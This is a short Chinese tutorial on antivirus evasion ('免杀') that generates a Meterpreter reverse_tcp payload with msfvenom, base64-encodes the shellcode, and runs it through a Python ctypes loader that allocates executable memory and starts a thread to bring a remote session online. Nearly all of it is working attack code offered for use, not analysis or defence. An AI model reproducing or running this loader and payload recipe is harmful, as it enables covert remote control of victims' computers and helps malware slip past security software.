python免杀--base64加密(GG)
单层加密都GG~
目录
cs生成个python的payload
将shellcode进行base64编码
执行上线代码
cs生成个python的payload
msfvenom -p windows/meterpreter/reverse_tcp --encrypt base64 lhost=IP lport=6688 -f c cs生成c的也行.
将shellcode进行base64编码
import base64code = b' shellcode!!! 'en_code = base64.b64encode(code)
print(en_code)
执行上线代码
import base64
import ctypes# shellcode进行base64加密后的值填这里.
en_shellcode = " "shellcode = base64.b64decode(en_shellcode)# 申请内存属于64位
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
# 申请一块内存空间
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
# 往内存空间里写入shellcode
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode), len(shellcode))
# 创建线程
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
# 执行线程
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
--执行上线